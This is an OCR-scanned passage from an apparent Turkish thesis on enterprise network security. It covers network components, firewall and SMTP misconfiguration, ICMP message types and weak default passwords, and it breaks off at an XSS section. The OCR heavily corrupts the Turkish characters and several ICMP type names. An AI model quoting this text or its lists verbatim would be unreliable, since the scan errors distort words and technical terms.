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AG TRAFIK OZELLIKLERININ ANALIZiNi YAPARAK
ANORMALLIKLERIN TESPIiT EDILMESI

OZET

Giiniimiizde bilgi ¢ok biiyiik bir 6neme sahip olmakla birlikte, bu denli 6nemli olmasi
onun paylasilmasini da gerektirmistir. Bilginin paylasilmasi i¢in kullanilan en 6nemli
ara¢ da giinimiizde ¢ok popiiler olan ve neredeyse herkesin kullandig1 internettir.
Internet ve bilgisayar aglarinin bu denli yaygilasmas: ve bilginin cesitliligi aglarin
yonetimi ve giivenligi sorunlarin1 ortaya ¢ikarmistir. Bundan dolayr kurumlarin ag
giivenliginin saglanmasi ¢ok dnemli bir hale gelmistir. Kurum agina kars1 tehditler,
saldirilar olabilir ve buna bagli olarak kurum agindaki zafiyetlerden yararlanan
saldirganlar kurum agina sizabilir ve zararlar verebilir. Birgok zafiyetler, viriisler ve
saldirilar olmakla birlikte her gecen giin yeni zafiyetler, viriisler ve saldirilar ortaya
cikmaktadir. Buna bagli olarak da bu tehditlere, viriislere ve saldirilara karsi yeni
Onlemler almak gerekmektedir. Bu calismada bu tehditler, viriisler ve saldirilar
derinlemesine incelenmis ve bunlara kars1 alinacak yeni karsi 6nlemler ve yaklagimlar
belirtilmistir. Bu yeni karst onlem ve yaklasimlar kurumsal agda uygulanmustir.
Boylelikle kurum agindaki zafiyetler giderilerek agin ¢ok daha giivenilir hale gelmesi
amagclanmustir.

Anahtar Kelimeler: Kurumsal Aglar, Zafiyet, Tehdit, Saldiri, Viriisler, Yeni Karsi
Onlemler

vii



ANALYZING NETWORK TRAFFIC CHARACTERISTICS TO DETECT
ANOMALIES

ABSTRACT

Although knowledge is of great importance nowadays, the fact that it is so important
has necessitated its sharing. The most important tool used to share information is the
Internet which is very popular nowadays and almost everyone uses. The widespread
use of the Internet and computer networks and the diversity of information have
revealed the problems of network management and security. Therefore, ensuring the
network security of institutions has become very important. There may be threats and
attacks against the enterprise network and the attackers who exploit the vulnerabilities
in the enterprise network may infiltrate the enterprise network and cause damages.
Although there are many vulnerabilities, viruses and attacks, new weaknesses, viruses
and attacks occur every day. Accordingly, new measures should be taken against these
threats, viruses and attacks. In this study, these threats, viruses and attacks are
examined in depth and new countermeasures and approaches to be taken against them
are indicated. These new countermeasures and approaches have been implemented in
the enterprise network. In this way, the weaknesses in the enterprise network have been
eliminated and the network has become much more reliable.

Keywords: Enterprise Networks, Weakness, Threat, Attack, Viruses, Novel
Countermeasure
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1. GIRIS

Kurumsal ag (enterprise network), cesitli yollar ile birbirine baglanmis, kurumun ig¢
agindaki iletisimin veya dig diinya ile bilgi alis verigini saglayan, ag cihazlar1 ve

kablolar1 kapsayan bir yapidir.

Kurumdaki kullanicilar dosya sunucular1 sayesinde karsikli olarak birbirlerinin
verilerine erisebilirler. Agda dosya paylagimi yapilarak birgok kullanici agdaki
dosyaya ulagabilir ve dosya tizerinde degisiklikler yapabilirler. Ayrica ag iizerinde
paylasima agilan bir ¢evre birimi (yazici, tarayict vb) agdaki kullanicilar tarafindan
kullanilabilmektedir. Boylelikle kaynaklarin paylasimi yapilarak maliyet acisindan

avantajlar saglanmaktadir.

Bir kurumun ag yapisinda saldir1 tespit cihazlari, giivenlik duvarlari, yonlendiriciler
(router), anahtarlar (switchler) ve cihazlari birbirine baglayan kablolar bulunur. Kurum
disindaki kisilerin kurum agima erisebilmesi gerekir. Bunun i¢in vpn araciligiyla

internet lizerinden kurum agina baglantilar gergeklesir.

Kurum aginda zafiyetler, tehditler ve saldirilar olabilir. Dolayisiyla kurum ag

giivenligini saglamak ¢ok 6nem arzeden bir konudur.

1.1 Tezin Amaci

Bu tezin amaci, bir kurumsal agda karsilasilabilecek zafiyet, tehdit ve saldir1 tiirlerinin
detayli incelemesini yapmak ve bu agdaki zafiyet, tehdit ve saldirilara kars1 yeni 6nlem
ve yaklasimlar uygulamaktir. Ayrica giincel oneriler sunularak agin en giivenilir hale

getirilmesi amaglanmaktadir.

1.2 Literatiir Arastirmasi

Ag glivenligi ve farkindalig: ile ilgili daha Once yapilmis tezler ve arastirmalar

mevcuttur.



Akib Cetin bilgisayarlar ve ag giivenligi dersinin farkindaliginin olusturulmasi ve
degerlendirilmesi adli tezinde ag gilivenliginin farkindaligi hakkinda ¢alismalar
yapmustir. Diger bir ag giivenligi ¢alismasinda, G6khan Muharremoglu kurumsal bilgi
giivenliginde zafiyet saldir1 ve savunma 6gelerinin incelenmesi adli tezinde, zafiyet

saldir1 ve savunma 6gelerini ele almistir.

Kurumsal ag giivenliginin 6gelerinin incelenmesi hakkinda caligmalar olmasina
ragmen yeni zafiyetler ve tehditler ortaya ¢ikmaktadir. Bundan dolayr bu yeni
zafiyetler, tehditler ve saldirilar ortaya ¢iktigindan yeni karsi dnlemlerin alinmasi
gerekmektedir. Aksi halde kurum aginda yeni zafiyet, tehdit ve saldirilardan kaynakli

giivenlik riskleri olacaktir.

Giivenlik risklerine karsi onlemler alinmazsa kurum zarara ugrayabilecektir. Bu
yiizden bu ¢alismada giincel zafiyet, tehdit ve saldirilar ele alinmig ve bunlara yonelik

kars1 6nlemler kurum aginda uygulanmustir.

Bu calismanin diger ¢aligmalardan farki kurumsal agda olusabilecek bilinen ya da daha
giincel olan yani yeni ortaya ¢ikmis zafiyetlere ve tehditlere kars1 yeni onlemlerin
birebir kurumsal agda uygulanmasidir. Daha 6nceden bilinen zafiyetler, tehditler ve
saldirilar incelenmistir. Ayrica yeni ortaya ¢ikmig zafiyetler, tehditler ve saldirilar da
incelenmis ve bunlara karst kurumsal agda nasil 6nlem alinabilecegi agiklanmis. Bu

onlemler kurumsal agda uygulanmistir

1.3 Tezin Yapisi

Bu tez bes boliimden olusmaktadir. i1k boliimde giris yapildiktan sonra ikinci boliimde
kurumsal ag yapilar1 genel olarak incelenmis, kurumsal ag mimarileri ve kurumsal ag
yapilarinda kullanilan giivenlik duvari (firewall), yonlendirici, anahtarlar (switch) ve
sunucular gibi bilesenler aciklanmustir. Ugiincii béliimde kurumsal aglarda
karsilasilabilecek zafiyet, tehdit ve saldir1 tiirleri detayli olarak incelenmis ve analiz
edilmigtir. Dordiincii bolimde kurumsal aglardaki bu zafiyet, tehdit ve saldirilara
yonelik nasil kars1 6nlemler alinacagi agiklanarak onlemler sunulmus ve bu 6nlemler

kurum aginda uygulanmistir. Besinci béliimde de sonuglar agiklanmastir.



2. KURUMSAL AG YAPILARI VE BIiLESENLERI

2.1 Kurumsal Ag Yapilar

Kurumsal ag, merkez kurumdaki kullanicilarin birbiri ile iletisimini saglamanin
yaninda dig kurumdaki kullanicilarin da merkez kurumdaki kullanicilar ile iletigim
kurmasini saglar. Kurumsal aglar genelde biiyiik bir yapidan olustuklari i¢in yiizlerce

kullaniciyr destekleyebilmektedir.

Kurumsal aglarda temel olarak bilgisayarlar, yazicilar, sunucular, giivenlik duvari, ag
cihazlart ve bu cihazlar birbirine baglayan kablolama yapilari mevcuttur. Bu ag

cihazlan giivenlik kurallar1 ile yapilandirilir.

Yazicilarin, tarayicilarin, sunucularin, dosyalarin ve uygulamalarin ortak kullanilmasi
saglanarak kaynak kullanimi yonetilmis olur. Ag sistemlerinin kullaniminin artmasi

ile sistemin yonetimi ve giivenligi cok dnemli bir hal almistir.

2.2 Ag Mimarileri

2.2.1 Temel kurumsal ag yapisi

Temel kurumsal ag yapisi, dosyalari, yazicilari, uygulamalari ve benzer diger
kaynaklar1 kullanmak i¢in olusturulan ve genellikle kiiciik ve orta 6l¢ekli kurumlarin
kullandig1 ag yapisidir. Bu tiir ag yapilariin kullanildigi kurumlar tek bir merkezde
ve tek bir yapidan olusurlar. Bu ag yapisinda temel yonlendirici ve giivenlik duvari

internet erigimi i¢in kullanilir.

2.2.2 Biiyiik ol¢ekli kurumsal ag yapisi

Biiyiik ol¢ekli kurumsal ag yapilari diger temel kurumsal ag yapisini kullanan kiigiik
ve orta 6lgekli kurumlara gore daha karmasik yapiya sahiptirler. Bundan dolay1 biiyiik
Olcekli kurumsal ag yapilarinda glivenlik sorunlari riski daha fazladir. Bu tarz
kurumlar diger kurumlar ile siirekli baglantis1 olmas1 gereken ve internet lizerinden

kesintisiz hizmet verebilmesi gereken kurumlardir.



2.2.3 Cok lokasyonlu kurumsal ag yapisi

Ulke iginde bir¢ok farkli lokasyonda veya diinya ¢apinda bir¢ok farkl: iilkede subesi
bulunan kurumlar mevcuttur. Bu kurumlar ¢ok lokasyonlu ag yapisini kullanan

kurumlardir.

Yeni beklentiler ve yeni pazarlar ayrica teknolojinin gelisim hiz1 ¢cok lokasyonlu ag

yapisi kullaniminin artmasini saglamaktadir.

2.3 Kurumsal Ag Yapisi Bilesenleri

2.3.1 Kurumsal agdaki sunucular
Sunucular kurumsal agdaki en onemli bilesenlerden biridir. Ciinkii ag yapisinda

kaynaklarin farkli sistemlere paylagilmasini saglayan sunuculardir.

Kurumsal agda en 6nemli konulardan biri kaynak paylasimi oldugundan sunucular
burada ciddi 6neme sahiptirler. Sunucular sayesinde istemcilerden gelen isteklere
cevap verilir. Ayrica sunucular subelere ve kurum agindaki kullanicilara da hizmet

sunarlar.

2.3.1.1 DHCP sunucusu
Dynamic Host Configuration Protocol (DHCP), temel olarak sistemdeki bilgisayarlara
IP (Internet Protocol) adreslerini ve degisik parametreleri atamak i¢in kullanilan

protokoldiir.

DHCP sunucusu agdaki tiim makinelere benzer parametreleri tek tek elle girmek ve
tek tek TP vermek yerine bu iglemleri otomatik olarak gergekletirir. Boylelikle biyiik

kolaylik saglanmis olur.

2.3.1.2 Vekil sunucusu

Vekil sunucu, internet ile kullanicilar arasinda bulunan bir ara sunucudur.
Kullanicilarin internete baglanabilmesi i¢in veya web sitelerine erisimi engellemek
icin kullanilir. Oncelikle kullanicilarin veya sistemlerin internete erisebilmeleri igin
vekil sunucuya istek yapilir. Vekil sunucu da istek yapilan sayfayr kullaniciya veya

sisteme geri dondiirtir.



2.3.1.3 Posta sunucusu

Kurumsal agdaki kullanicilarin kurum disiyla veya kurum i¢indeki mesajlasmay1 ve
haberlesmeyi saglayan sunuculara posta sunucusu denir. Giiniimiizde en ¢ok kulanilan
iletisim yontemlerden biri olan ve bilginin bir yerden diger bir yere gonerilmesi esasina

dayanan eposta, kurum aglarinda kullanilan 6nemli bir unsurdur.

Exchange Server, Send Mail, Qmail ve Postfix gibi programlar sunucular iizerinde e-

posta hizmeti veren bazi belli bagli uygulamalardir.

2.3.1.4 Dosya sunucusu

Kurumdaki kullanicilarin  dosyalarinin  bulundugu ve paylasildigi, bazi erisim

yetkilerinin tanimlandigi sunucuya dosya sunucusu denir.

Dosya sunuculari sayesinde dosyalarin yedeklerinin alinmasi saglanir ve bu dosyalara

kurum aginin herhangi bir yerinden erisilebilir.

2.3.1.5 Alan adi sunucusu

Ag yapilar tizerinde bulunan sistemler ile bu sistemlerin kullandig1 IP’leri birbiriyle
eslestiren sunucuya Alan Adi Sunucusu (Domain Name Server — DNS) denir. Gergekte

ag lizerinde bulunan sistemler IP numaralari ile birbiriyle iletisim kurarlar.

2.3.1.6 Web sunucusu
Kurum aginda veya Internet iizerinde bulunan, kullanicilarin internet tarayicilari
aracilifiyla gonderdikleri isteklere tarayicilarin anlayacagi HTTP, HTTPS, FTP gibi

standart protokollerde cevap veren, web sitelerinin yaymlandig1 sunuculardir.

Giliniimiizde en yaygin kullanilan web sunucular1 Apache ve Microsft’un IIS (Internet
Information Server) Web sunucularidir. Bu web sunucularinin disinda iPlanet ve

NCSA’nin da web sunucular: bulunmaktadir.

Netcraft tarafindan yapilan istatistiklere gore kullanilan web sunucularinin %54’

Apache, % 25 1IS ve % 19’unu diger web sunuculari olusturmaktadir (Netcraft, 2018).

2.3.2 Yonlendirici (Router)
Yonlendirici, ag paketi yonlendirme islemlerini yapan sistemlerin, gonderdikleri

paketlerin bulunduklar1 agdan baska bir aga ulagabilmesini saglayan ag cihazlaridir.



OSI modelinin {iglincli katmaninda yer alir. Agda paketlerin yonlendirilmesi, agin

yapisina gore ¢esitlilik gosterebilmektedir.

2.3.3 Anahtar (Switch)
Anahtarlar, ag sisteminde farkli ag baglanti noktalarmin birbirleriyle dogrudan
haberlesebilmesini saglayan ag cihazlaridir. Anahtarlar, cihazlarin iletisimde

bulunmasini saglar.

Anahtarlar iizerindeki trafigi denetleyebilmek igin IP veya port bazinda filtreleme
yapilmasini saglayan kontrol sistemine ACL (Access Control List) denir. ACL’ler ile
ag tizerinde kullanilmasi istenmeyen port’lar, anahtar iizerinden engellenebilir (lyer ve

Mckeown, 2003).

2.3.4 Yiik dengeleyici
Yiik dengeleyici sistemleri, mevcut agdaki trafigi dengeli bir sekilde dagitarak
devamlilik saglayan ve mevcut islem yiikiinii birden fazla servise dagitmak icin

kullanilan donanimsal veya yazilimsal sistemlerdir.

Yiik dengeleyici sistemlerin kesintisiz hizmet sunumunu gegeklestirmek i¢in dnemli

bir yere sahiptir.



Yiik Dengeleyici (Load
Balancer)

o

Web Sunuculan

Sekil 2.1 : Yiik dengeleyici

2.3.5 Giivenlik duvari (Firewall)

Giivenlik duvarlari, kurum i¢i ag ile kurum dis1 ag arasinda tehditlere karsi koprii
gorevi goren ve kurulu giivenlik mekanizmalarinin en 6nemli unsurudur. Cogu zaman
ag1 dis tehditlere karsi koruyan sistemler olarak tanimlansalar da aslinda i¢ agda olusan
istenmeyen bir durumun dis aga ulasarak yayilmasi da engellemektedirler (Ozhan,
2013).

Bilgisayarlar aras1 veri baglantilar bilgi aktarimi agisindan oldukga yararli olsa da,
aktarilan bilginin glivenle iletilmesi ve aktaran sistemlerin giivenliginin saglanmasi
gibi ¢esitli riskler tasir. Kurum igine girecek ve kurum disina aktarilacak bilgilerin
giivenli bir sekilde bozulmadan ve zararli icerek igermeden iletilmesi gereklidir. Bu

asamada en etkili ¢c6ziim giivenlik duvarlaridir (Baykal, 2001).



Giivenlik

G \‘ Yerel Ag-LAN
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Yionlendirici

Sunucular

Sekil 2.2 : Giivenlik duvarinin agdaki konumu

Giivenlik duvarlari, giiniimiiz iletisim aglarinda vazgecilmez bir unsur olarak yerini
almig yazilimsal ve donanimsal olarak agi i¢ ve dis tehditlere karst koruyan

sistemlerdir.

Bu sistemler ayni zamanda isletmelerin iletisim teknolojilerini ve dolayli olarak

mevcut cihazlarini etkin ve verimli kullanmalarina biiytik katki saglarlar.

Internet diinyasinin giivenlik kontrol noktalar1 olarak adlandirabilecegimiz giivenlik
duvarlar1 Sekil 2.2'de gosterildigi gibi isletmelerin kapi girisinde bulunan giivenlik
kontrol noktalari gibi ¢alisirlar. Bir isletmenin imkanlarina bireysel olarak ulasmanin
bir diger yolu da internet araciligi ile baglanip talepte bulunmaktir. Bu talepler

giivenlik duvari kurallarina gére sonuglandirilir.

Kural hatalari ciddi giivenlik zaafiyeti dogurarak bir cthazin devre dis1 kalmasina ve
dolayli olarak isletmenin zararina, gizli bir bilginin isletme disina ¢ikmasina vb.
istenmeyen olaylara neden olabilir. Giivenlik duvarlari ag sistemine dahil edilmeden
once kural havuzu olusturmak icin ciddi bir 6n hazirlik gereklidir. Hatta ¢ogu durumda

giinlerce denemeler yapilmasi gerekebilir (Ozhan, 2013).

2.3.6 Saldir tespit sistemleri
Ag tabanli IDS’ler kurum agina gelen tiim Internet trafigini alarak, her bir paketi analiz
edip atak olup olmadigini tespit etmektedir. Bu tespit islemini veri tabaninda tuttugu

saldir tiirleriyle karsilastirarak gerceklestirir.



Sunucu tabanli IDS’ler ise, kurulu oldugu sunucuya gelen tiim trafigi kendi veri
tabanindaki saldir tiirleri ile eslestirerek ataklar1 engellemektedir (Jones ve Sielken,
1999).

2.3.7 Sanal ozel ag (VPN)

VPN (Virtual Private Network/Sanal Ozel Ag), genellikle is ortami1 disindan yapilan
baglantilarda i¢ agdayken sahip olunan yetkilerin dis agdayken de devam etmesini
saglamayl amaclayan bir baglant1 tiiriidiir. Bunu gerc¢eklestirmek i¢in noktadan
noktaya baglanti teknigi ve bu baglanti sirasinda da verilerin kapsiillenmesi yontemi

kullanilir (Baykal, 2001).

VPN baglantisi ekle

VPN sadlayicisi

Badlant adi

Sunucu adi veya adresi

Oturum agma bilgilerinin tard

Kullanici adi {istede badli)

Parola (istede badh)

Oturum agma bilgilerimi animsa

Sekil 2.3 : Sanal 6zel ag (vpn) baglantisi ekleme



3. ZAFIYETLER, TEHDITLER VE SALDIRILAR

3.1 Zafiyet Nedir?

Bilisim sistemlerinde zafiyet, tehditlere hedef olabilecek yapilandirma veya yapi
eksikliklerinden kaynaklanan agiklardir. Bazi sistem kaynakli ve kullanici kaynakli

zafiyetler mevcuttur.

Zafiyetler saldirganlarin yararlandiklar1 en 6nemli unsur oldugundan c¢ok dikkat
edilmesi gerekmektedir. Saldirganlar bir sisteme erigebilmek i¢in Once sistemdeki
zafiyetleri tararlar. Bundan dolay1 agik zafiyet birakmamak sistem giivenligini

artirmak i¢in 6nem arz etmektedir.

3.2 Zafiyet Tiirleri

3.2.1 Kullamc1 kaynakh zafiyetler

Bilingsiz kullanicilar kurumsal agda biiyiik risklere neden olmaktadir. Oltalama
saldirtlart kullanic1 kaynakli zafiyetlerin en basinda gelir. Bilingsiz agilan e-mailler,
kaynagi bilinmeyen uygulamalarin yiiklenmesi ve bazi 6nemli bilgilerin ii¢lincii

sahislar ile paylasilmasi kullanict kaynakl zafiyetlere 6rnektir.

Sosyal miidendislik de kullanic1 kaynakli zafiyetlerin basinda gelir. Kurumsal agdaki

kullanicilar bilerek ya da bilmeyerek birgok zafiyete neden olabilirler.
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( Saldirgan

Kullanici

No—

Sunucular Guvenlik Duvari Internet

Sekil 3.1 : Kullanic1 kaynakli zafiyet

3.2.2 Giincellestirme eksikliginden kaynakh zafiyetler
Giincellestirme eksiklikleri olmasi bir ag1 tehdit eden en 6nemli unsurlandan biridir.

Bu biiytik riskleri de beraberinde getirir.
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& Ayarlar - 0

@ Ana Sayfa WindOWS Update

| pir ay | Glincel degilsiniz
Son denetleme: Bugin, 09:14

Glincellestirme ve Giivenlik

Cihaziniz dnemli giivenlik ve kalite diizeltmeleri eksik.

> Windows Update T
Guincellestirmeleri denetle
¥ Windows Gavenligi
Etkin saatleri degistir
I Guincellegtirme gegmigini gorantle
' Sorun Gider Geligmis secenekler
O Kurtarma Yenilikler
Cok sanshisiniz! Cihaziniz yeni 6zellikler ve dnemli gtivenlil
@ Etkinlestirme gtincellestirmeleriyle en son Windows 10 glincellestirmesini ald.
Yenilikleri 6grenin ve Windows'ta Ipuclar’'ni kullanmak hakkinda
A Cihazimi bul Gnerilere erisin,
Bkz. Ipuclar
[t Gelistiriciler igin

Sekil 3.2 : Giincellestirme eksikligi

Birgok {iriiniin ve cihazin bir yazilimi vardir. Bu yazilimlarin da giincel siirtimleri
mevcuttur. Bu yiizden komple her cihaz ve iirlin i¢in giincel siiriimlerin kullanilmas1

onemlidir.

Bir acik bulunduktan sonra yayime tarafindan yeni giincel siirlimiin yayinlamasina
kadar gegen siiregte “sahte giiven” duygusu olusur. Bunun ig¢in diizenli denetim

yapmak gerekir.

Giivenlikle ilgili mimari ¢ézlimler ve stratejiler hayata gegirilirken, giincellemelerden
dogabilecek aciklarin minimum risk alinarak hazirlanmig stratejilerden seg¢ilmis
olmas1 hayati dnem tasimaktadir. Buna basit ve temel bir 6rnek olarak Internet’te yayin
yapan bir sunucunun gereksiz olan Portlarimin bir Firewall ile ¢ift yonli olarak

kapatilmasi verilebilir (Muharremoglu, 2013).

Bir sistem, giivenlik felsefesi geregince %100 giivenli olamayacaksa ortaya ¢ikacak

giiven duygusunun da felsefi olarak sahte olmasi kaginilmazdir.
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Ancak zaman boyutunda tehlikeyi arastirip riski en aza indirmis olmak, sartlara gore

olusturulmus bir gliven duygusunun kaynagidir.

Bu durumda, sistemin zaman boyutundaki en yakin an ve sartlara gore giivenli
oldugunun diisiiniildiigii evre, gliven duygusunun hakim oldugu evre; sistemin zaman
boyutundaki en yakin andan uzaklastig1 her ana ve sartlara gore gilivenli oldugunun
diisliniildiigi evre ise, sahte gliven duygusunun hakim oldugu evre olacaktir

(Muharremoglu, 2012).

3.2.3 Konfigiirasyon zayifliklarindan kaynakh zafiyetler
Kurumsal agdaki ag yapisindaki konfigiirasyonlardan kaynakli bazi zafiyetler
mevcuttur. Bu zafiyetlerden en 6nemlileri e-posta sunucusu konfigiirasyon zafiyetleri

ve giivenlik duvari konfigiirasyon zafiyetleridir.

3.2.3.1 E-Posta sunucusu konfigiirasyon zafiyetleri

Giiniimiiziin en 6nemli iletisim araclarin biri de e-postalardir. Ozellikle e-posta
tizerinden sosyal miihendislik saldirilar1 diizenlemek oldukga kolaydir. Giiniimiizde e-
posta sunucularinda kullanilan teknoloji SMTP (Simple Mail Transfer Protocol)

protokolii ve bu protokol tizerine gelistirilmis farkli islemlerdir.
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) Hesap Ekle Ed

POP ve IMAP Hesap Ayarlar
Hesabinizin posta sunucusu ayarlarini girin.

Kullanici Bilgileri Hesap Ayarlanini Sina

Adiniz: Giriglerin dogru olup olmadigindan emin olmak icin
hesabinizi sinamanizi oneririz.
E-posta Adresi:

Sunucu Bilgileri
arlanni Sina
Hesap Tard: POP3 v
V| lleri dagmesi tiklatildiginda hesap ayarlarin

Gelen posta sunucusu: 2 ;
otomatik olarak sina

Giden posta sunucusu (SMTP}: Yeni iletilerin teslim yeri:
Oturum Acma Bilgileri () Yeni Outlook Veri Dosyasi
Kullaniar Ade: (®) Varolan Outlook Veri Dosyas!
Parola: Gozat
[ Parolayi animsa
D Gavenli Parola Kimlik Dodrulamasi (SPA) kullanarak
oturum agilsin Dié
1ger A r
< Geri Iptal

Sekil 3.3 : E-posta ayarlari ekrani

SMTP protokolii temel olarak e-posta gonderip alma islemlerini gergeklestirmek igin
hazirlanmis bir protokoldiir. Protokol ilk tasarlandigi 1982 yilinda giivenlik
gereksinimleri diisiik ancak kullanilabilirligi yiiksek bir prototip olarak hayat

bulmustur.

Teknolojinin 1ilerlemesi 1ile gilivenlik problemlerinin artmast sonucu SMTP
protokoliiniin de gilinlimiiz sartlarina ayak uydurmasmi gerektirmistir. SMTP
protokolii temel yapisindan ¢ok fazla degisiklik gostermese de protokoliin daha
giivenli olmasi1 i¢in uygulanan yontemler sayesinde daha giivenilir bir hale

getirilmesine katki saglanmistir.

Glinlimiizde e-posta hizmetleri ¢ok fazla kullanilmaktadir. Bu ylizden SMTP
servisinin giivenligi olduk¢a 6nem arz etmektedir. Giivenlik 6nlemleri tam olmayan

SMTP servislerinde bagka birisi gibi e-posta gondermek miimkiin olmaktadir.
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Ayrica c¢ok fazla istenmeyen yani SPAM e-postalar gonderilmesi hizmet engelle

saldirilaria neden olabilmektedir.

Bir SMTP servisinin temel gorevlerinde giivenligi ne kadar saglayabildigini gérmek
adina Black Box (kara kutu) birka¢ test uygulamak yeterli olacaktir. Bu testler
sonucunda SMTP servisinin ne tarz saldirilarda kullanilabilecegi hakkinda fikir sahibi
olunabilir (Muharremoglu, 2013).

3.2.3.2 Giivenlik duvar konfigiirasyon zafiyetleri
Bir ag sisteminin agiklarini bulabilmek i¢in o ag sisteminin isleyisini bilmek gerekir.
O ag sistemi hakkinda detayli bilgiye sahip olmak gerekir. Sahip olunan bilgileri

incelemek gerekir.

Firewall lizerinde belirli kurallar tanimlidir. Bu kurallar1 asmak isteyen saldirganlar
once bu Firewall’in yapisini belirli testler ile analiz etmeli, daha sonra diger bilgilerle

konuyu iyice incelemelidir.

Firewall kurallar1 tanimlanirken en onemli giivenlik ilkesi asir1 yetkilendirmeden
kacinmaktir. Hem digardan igeriye dogru olan hem de iceriden disartya dogru olan
trafigin, minimum yetkilerle, miimkiin oldugunca “any” kurali kullanmadan, sadece
gerekli olan Protokol ve Port’lar i¢in tanimlanmasi temel giivenlik anlayisinin
odagidir. Bu ilkelere uyarken géze cok masum goériinen ICMP Protokol trafigi genelde
g6z ard edilir. Esas odaklanilan nokta her zaman Port’lar ve diger Protokol’ler olur.
Ancak, bir gilivenlik ilkesi uygulanirken istisna gozetmemek, gozetilirse de bu
istisnalar1 da bir risk olarak degerlendirmek gerekir. Eger ICMP trafigini agmak bir

risk ise bu riskin nasil bir tehdit ile hayata gecebilecegini de bilmek gerekir.

Oncelikle ilk akilda olmasi gereken, Firewall {izerinde i¢erden disar1, disardan iceriye
acik olan ICMP mesajlarmin yerel agda ve/veya Internet’te ICMP iizerinde hizmet
veren servisleri ifsa edecegidir. Bunlara en bilinen 6rnekler PING (Echo & Echo
Reply) ve TRACEROUTE ICMP mesaj tipleridir. ICMP mesaj tipleri Sekil 3.4’de
listelenmistir (Muharremoglu, 2013).
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Type 0 — Echo Reply

Type 1 — Unassizgned

Type 2 — Unassigned

Type 3 — Destination Unreachable
Type 4 — Source Quench

Type 5 — Bedirect

Type § — Alternate Host Address
Type 7T — Unasszizned

Type 8 — Echo

Type ¥ — Fonter Adverdsement
Type 10 — Fouter Salection
Type 11 — Time Exceedad

Type 12 — Parameter Problem
Type 13 — Timestamp

Type 14 — Timestamp Feply
Type 15 — Information Baquest
Type 16 — Information Faply

Type 17 — Address Mask Fequest

Type 18 — Address Mask Feply

Type 19 — Fesarved (for Security)

Types 20-29 — Beserved (for Pobusmess
Experiment)

Type 30 — Traceronte

Type 31 — Datmgram Cooversion Emor
Type 32 — Mobile Host Fedirect

Type 33 — IPvE Where-Are-Ton

Type 34 — IPvE I-Am-Here

Type 35 — Mobile Begistration Bequest
Type 36 — Mobile Begistration Feply
Type 3% — SEIP

Type 40 — Fhomris

Types 41-252 — Unassigned

Type 253 — RFC3692-style Experiment 1
Type 254 — RFC3602-style Experiment 2

Sekil 3.4 : ICMP mesaj tipleri

3.2.4 Uygulama yazihhmlarna ait zafiyetler

Yazilim tasarimcisi ve gelistiricilerin siber tehditlere neden olabilecek web uygulama
acikliklarma karst dikkatli olmalar1 gerekmektedir. Giivenli yazilim kodlama bir
stiregtir. Yazilimin tasarimindan gelistirme siirecine ve kullanima ¢iktig1 zamana kadar

adim adim giivenlik siirecleri takip edilmelidir.

Gilinlimiizde siber korsanlarin firsat kolladig1 ve arastirmalarini web tabanli yazilimlar
lizerine yogunlastiran bir tehdit grubu vardir. Giincellenmemis veya yeterince testten
gecirilmemis uygulama yazilimlar1 ve beraberinde veri tabanlari olasi giivenlik

aciklariin baginda gelmektedir (Owasp, 2018).

3.2.5 Parolasiz veya varsayilan / zayif parola zafiyetleri

Kimlik bilgisini dogrulamak i¢in giinlimiizde en ¢ok kullanilan mekanizmalardan biri
kullanict ad1 ve parola bilgisidir. Bu bilgiler web uygulamalarinda kullanict kimligini
tanimak i¢in kullanilir. Bilgilerin dogru olmasi durumunda kisiye 6zel alanlara erisim

yapilabilir.

Kétii niyetli kullanicilar web uygulamalarin kimlik dogrulama sayfalarina (genellikle

liye giris arayiizleri) kullanici ad1 ve parola denemeleri gerceklestirebilirler.

16



Dogru kombinasyonu tespit etmeleri halinde kullanic1 yetkilerinde web

uygulamalarinda islem yapabilirler.

Genellikle kullanic1 adlar1 web uygulamalan igerisinde herkese acik oldugundan
kimlik dogrulama i¢in kullanilan ilk 6ge olan kullanict adi parametresi saldirganlar

tarafindan kolaylikla ele gecirilebilir.

Yonetim paneli gibi 6zel alanlarin en yetkili kullanici isimleri ise admin, administrator,
yonetici vb. kelimelerden olusabilir. Bu durumlarda saldirgan kullanici adini tespit
edemese de dahi kolayca tahmin edebilir. Parola bilgisinin de kolay tahmin edilebilir
olmas1 durumunda saldirganlar ilgili web uygulamasinda kimlik dogrulama agsamasini

gecebilirler.

Kullanicilar farkli farkli web uygulamalarina iiyelik actig1 halde ayni parolay: tekrar
kullanma egilimindedirler. Bu da zaman gectikte parolalarin tekrar kullanimin oranini

arttirmaktadir.

Web sitelerine ait kullanic1 bilgilerinin ele gecirilmesi ayni parolalarin tekrar
kullanilmasini daha tehlikeli bir hale getirmektedir. Bazi web uygulamalarinda
saldirganlarin denemelerini 6nlemek i¢in kimlik dogrulama denemelerine belirli bir
limit getirilmektedir. Her ne kadar parola denemeleri i¢in limit olsa da saldirganlar
tarafindan ele gecirilen onceki sizmis parola bilgileri, deneme sayis1 limiti igerisinde

parolanin dogru sekilde tespit edilmesi i¢in kullanilabilir.

Default: admin

Password: admin

Sekil 3.5 : Ornek varsayilan zayif parola 6rnegi
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Network altyapisin1 olusturan cihazlar iizerinde gelen varsayilan parolalarin, bu
cihazlar kurulduktan sonra gii¢lii parolalarla degistirilmesi gereklidir. Aksi halde bu
ac1g1 kullanan bir saldirgan network {lizerindeki trafigi yonlendirebilir, ag1 dinleyebilir,

sistemlere erigsimi engelleyebilir (Demir, 2013).

Sunuculardaki yerel yonetici parolalar1 zayif olursa kaba kuvvet saldirilar1 ya da
sOzliik saldirilar ile kirilma olasilig1 yiiksek olur. Bu da biiyiik bir zafiyete sebep olur.

Bu yiizden yerel yonetici parolalar1 her zaman giiclii parolalar olmasi gerekir.

3.2.6 Domain politikalarinin yetersizliginden kaynakh zafiyetler
Domain politikalarin1 planlamak ve diizenlemek kurum ag sisteminde yapilan belli
baslt islemlerdendir. Domain politikalar1 diizenlenirken 6nem verilmesi gereken bazi

durumlar vardir. Bunlardan en 6nemlisi yetki konusudur.

Giivenligin temel ilkerinden biri izin verilmedikge erisim saglanamamasi konusudur.
Bu yiizden domain politikalar1 diizenlenirtken izin konularina yani yetki

diizenlemelerine dikkat etmek gerekmektedir.

Verilen yetki ve izinler kontrol edilmelidir. Ayrica Sekil 3.6 de gosterildigi gibi

bilgisayarlardan da verilebilen bazi yetkiler ve izinler vardir.
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Sekil 3.6 : Yetki verilmesi

3.2.7 Siteler arasi betik calistirma zafiyeti (XSS zafiyeti)

JavaScript web uygulamalarina kullanilan tarayici tarafinda yorumlanan ve genellikle
